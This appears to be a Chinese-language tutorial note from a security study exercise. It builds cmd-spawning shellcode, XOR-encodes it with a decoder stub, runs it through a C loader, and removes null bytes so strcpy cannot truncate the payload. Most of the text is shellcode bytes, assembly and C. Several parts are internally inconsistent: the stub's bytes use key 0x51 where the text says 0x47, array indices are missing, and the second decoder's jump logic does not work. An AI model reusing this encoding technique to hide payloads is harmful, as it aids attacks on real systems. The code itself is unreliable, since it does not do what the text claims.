|
2020年2月17日
内容一:
首先,我们写出弹出的cmd的c语言程序,然后将c语言程序写成汇编程序,再转化为shellcode。
最后我们得到了一个可执行的shellcode,即:shellcode="\x8B\x45\xF4\x6A\x05\x50\xB8\xB0\xDA\x5B\x75\xFF\xD0"
然后我们将对这段shellcode进行加密,即对shellcode与key进行异或运算。关键的一步为:
key=0x47
int length=sizeof(shellcode)/sizeof(shellcode[0]);
for (int i=0;i<length-1;i++)
{
shellcode1=shellcode^key;
printf("\\x%0.2x",shellcode1);
printf("\n");
}
我们可以将其输出得到加密之后的shellcode,为shellcode1=" \xcc\x02\xb3\x2d\x42\x17\xff\xf7\x9d\x1c\x32\xb8\x97"
到这里我们完成了对shellcode的加密,之后我们将写出一段shellcode来对其进行解密,由于上面加密的时候我们用的是key=0x47进行加密的
所以我们解密的时候应该用key=0x47进行异或运算。所以具体的汇编代码为:
_asm{
add eax,24
mov ecx,13
xor edx,edx
decode:
mov bl,byte ptr ds:[eax+edx]
xor bl,0x47
mov byte ptr ds:[eax+edx],bl
inc edx
loop decode
}对于以上的汇编代码,我们有两个第一需要注意,第一:add eax,24,这代表的就是解密子的长度,即24,用于定位加密的shellcode的位置。
第二:mov ecx,13,其中13就是shellcode的长度,用于解密时的循环次数。
下面我们将这段汇编代码转换成shellcode,即\x83\xC0\x18\xB9\x0d\x00\x3d\x27\x33\xD2\x3E\x8A\x1C\x10\x80\xF3\x51\x3A\x88\x1C\x10\x42\xE2\xF2,
这时我们的shellcode两部分已经完成,将这两部分拼在一起前半部分为解密部分后半部分为加密后的shellcode,即
shellcode2="\x83\xC0\x18\xB9\x0d\x00\x3d\x27\x33\xD2\x3E\x8A\x1C\x10\x80\xF3\x51\x3A\x88\x1C\x10\x42\xE2\xF2\xcc\x02\xb3\x2d\x42\x17\xff\xf7\x9d\x1c\x32\xb8\x97"
接下来就是完整的代码:
#include "stdio.h"
#include "windows.h"
#include <string.h>
#include "stdlib.h"
char key=0x47;
shellcode2="\x83\xC0\x18\xB9\x0d\x00\x3d\x27\x33\xD2\x3E\x8A\x1C\x10\x80\xF3\x51\x3A\x88\x1C\x10\x42\xE2\xF2\xcc\x02\xb3\x2d\x42\x17\xff\xf7\x9d\x1c\x32\xb8\x97"
int main(int argc, char* argv[])
{
HINSTANCE libHandle;
char *dll="kernel32.dll";
libHandle=LoadLibrary(dll);
char *str="cmd.exe";
__asm{
lea eax,shellcode2
push eax
ret
}
return 0;
}
内容二:
如果我们用strcpy等函数对shellcode进行处理时,当shellcode中有00时会发生00截断,shellcode就不能完整的执行。
于是,我们可以通过对00的处理来避免这个问题。我们有一段shellcode="\x8B\x45\xF4\x6A\x05\x00\x50\xB8\xB0\xDA\x00\x5B\x75\xFF\xD0"
这里面有两个x00,如果使用strcpy函数处理这个shellcode,我们会发现,最后会变成shellcode="\x8B\x45\xF4\x6A\x05\"。
我们的思路如下:
1、先将shellcode中的x00进行替换,换成x49。
2、将替换后的shellcode进行加密,即与x51进行异或运算。
3、strcpy函数处理后,我们对shellcode进行解密处理,不过要分两种情况,如果原来的shellcode不是00,那么我们就用x51进行解密,如果
是00,则用x49进行异或运算,因为:
异或运算符"^",他的规则是若参加运算的两个二进制同号,则结果为0,异号结果为1。任何数异或自己等于把自己置为0
具体如下:
首先将00替换
char shellcode[]="\x8B\x45\x00\x6A\x05\x00\xB8\xB0\xDA\x5B\x75\xFF\xD0";
char key=0x51;
unsigned char decodeShellCode[200];
int main(int argc, char* argv[])
{
int length=sizeof(shellcode)/sizeof(shellcode[0]);
for (int i=0;i<length-1;i++)
{
if(shellcode==0x00)
{
shellcode=0x49;
}
然后将替换之后的shellcode进行加密,与key进行异或运算
shellcode1=shellcode^key;
然后进行解密,汇编与上面例子相同,不过我们多了一个判断,判断shellcode是否为x49,如果是的话则与自身进行异或运算
_asm{
add eax,24
mov ecx,13
xor edx,edx
decode:
mov bl,byte ptr ds:[eax+edx]
cmp bl,0x49
mov [eax+ecx],bl
jmp S2
S1: xor bl,0x51
mov byte ptr ds:[eax+edx],bl
S2: inc edx
cmp bl,0x51
loop decode
}
最后得到的shellcode与未加密的shellcode一致
|
|